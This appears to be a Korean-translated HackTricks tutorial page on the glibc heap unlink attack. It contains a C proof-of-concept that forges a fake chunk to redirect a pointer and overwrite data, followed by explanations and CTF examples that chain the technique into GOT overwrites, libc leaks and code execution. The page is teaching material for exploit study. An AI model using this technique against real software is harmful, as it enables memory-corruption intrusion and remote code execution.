Unlink Attack
Reading time: 6 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Basic Information
이 공격이 발견되었을 때, 주로 WWW (Write What Where)를 허용했지만, 몇 가지 검사가 추가되어 공격의 새로운 버전이 더 흥미롭고 더 복잡하며 무용지물이 되었습니다.
Code Example:
Code
c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0;
}
- tcaches가 사용되면 공격이 작동하지 않음 (2.26 이후)
목표
이 공격은 청크에 대한 포인터를 자신보다 3 주소 앞을 가리키도록 변경할 수 있게 해줍니다. 이 새로운 위치(포인터가 위치했던 주변)에 다른 제어 가능한 할당/스택과 같은 흥미로운 내용이 있다면, 이를 읽거나 덮어써서 더 큰 피해를 줄 수 있습니다.
- 이 포인터가 스택에 위치해 있었다면, 이제 자신보다 3 주소 앞을 가리키고 사용자가 이를 읽고 수정할 수 있으므로, 스택에서 민감한 정보를 유출하거나 반환 주소를 수정할 수 있습니다(아마도) 캔을 건드리지 않고.
- CTF 예제에서는 이 포인터가 다른 할당에 대한 포인터 배열에 위치해 있으므로, 3 주소 앞을 가리키도록 만들고 이를 읽고 쓸 수 있게 되면, 다른 포인터가 다른 주소를 가리키도록 만들 수 있습니다.
사용자가 다른 할당도 읽고 쓸 수 있으므로, 정보를 유출하거나 임의의 위치(예: GOT)에 새로운 주소를 덮어쓸 수 있습니다.
요구 사항
- 몇 개의 청크를 생성하기 위해 메모리(예: 스택)에 대한 일부 제어가 필요합니다.
- 가짜 청크의 포인터를 설정하기 위한 스택 유출이 필요합니다.
공격
- 두 개의 청크가 있습니다(청크1 및 청크2).
- 공격자는 청크1의 내용을 제어하고 청크2의 헤더를 제어합니다.
- 청크1에서 공격자는 가짜 청크의 구조를 생성합니다:
- 보호를 우회하기 위해
size
필드가 올바른지 확인하여 오류:corrupted size vs. prev_size while consolidating
를 피합니다. - 그리고 가짜 청크의
fd
및bk
필드는 청크1 포인터가 저장된 위치를 각각 -3 및 -2의 오프셋으로 가리키도록 설정하여fake_chunk->fd->bk
및fake_chunk->bk->fd
가 청크1 주소가 위치한 메모리(스택)의 위치를 가리키게 합니다:
- 청크2의 헤더는 이전 청크가 사용되지 않음을 나타내고 가짜 청크의 크기를 포함된 크기로 수정됩니다.
- 두 번째 청크가 해제되면 이 가짜 청크가 연결 해제되어 다음과 같은 일이 발생합니다:
fake_chunk->fd->bk
=fake_chunk->bk
fake_chunk->bk->fd
=fake_chunk->fd
- 이전에
fake_chunk->fd->bk
와fake_chunk->bk->fd
가 같은 위치(청크1이 저장된 스택의 위치)를 가리키도록 설정되었으므로 유효한 연결 리스트였습니다. 두 개가 같은 위치를 가리키고 있기 때문에 마지막 것(fake_chunk->bk->fd = fake_chunk->fd
)만 효과를 가집니다. - 이는 스택에서 청크1에 대한 포인터를 스택에서 3 주소 앞에 저장된 주소(또는 바이트)로 덮어씁니다.
- 따라서 공격자가 청크1의 내용을 다시 제어할 수 있다면, 스택 내부에 쓸 수 있게 되어 캔을 건드리지 않고 반환 주소를 덮어쓰고 지역 변수의 값과 포인터를 수정할 수 있습니다. 심지어 스택에 저장된 청크1의 주소를 다른 위치로 수정하여 공격자가 청크1의 내용을 다시 제어할 수 있다면 어디든 쓸 수 있게 됩니다.
- 이는 주소가 스택에 저장되기 때문에 가능했습니다. 위험과 악용은 가짜 청크에 대한 주소가 어디에 저장되는지에 따라 달라질 수 있습니다.
참고 문헌
- https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit
- CTF에서 unlink 공격을 찾는 것은 이상하겠지만, 이 공격이 사용된 몇 가지 작성물이 있습니다:
- CTF 예제: https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html
- 이 예제에서는 스택 대신 malloc된 주소의 배열이 있습니다. unlink 공격이 수행되어 여기에서 청크를 할당할 수 있게 되어 malloc된 주소 배열의 포인터를 제어할 수 있습니다. 그런 다음 이러한 주소의 청크 내용을 수정할 수 있는 또 다른 기능이 있어 GOT의 주소를 가리키고, 함수 주소를 수정하여 유출 및 RCE를 얻을 수 있습니다.
- 또 다른 CTF 예제: https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html
- 이전 예제와 마찬가지로 할당 주소의 배열이 있습니다. unlink 공격을 수행하여 첫 번째 할당의 주소가 배열 시작 몇 위치 앞을 가리키도록 하고 이 할당을 새로운 위치에 덮어쓸 수 있습니다. 따라서 다른 할당의 포인터를 GOT의 atoi를 가리키도록 덮어쓰고 이를 출력하여 libc 유출을 얻은 다음 atoi GOT를 원가젯의 주소로 덮어쓸 수 있습니다.
- unlink 공격과 매우 유사한 취약점을 악용하는 사용자 정의 malloc 및 free 함수가 있는 CTF 예제: https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html
- FD 및 BK 포인터를 제어할 수 있는 오버플로우가 있으며, 사용자 정의 malloc이 (사용자 정의) 해제됩니다. 또한 힙에 exec 비트가 있어 힙 주소를 유출하고 GOT의 함수를 힙 청크에 있는 쉘코드로 가리키도록 할 수 있습니다.
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.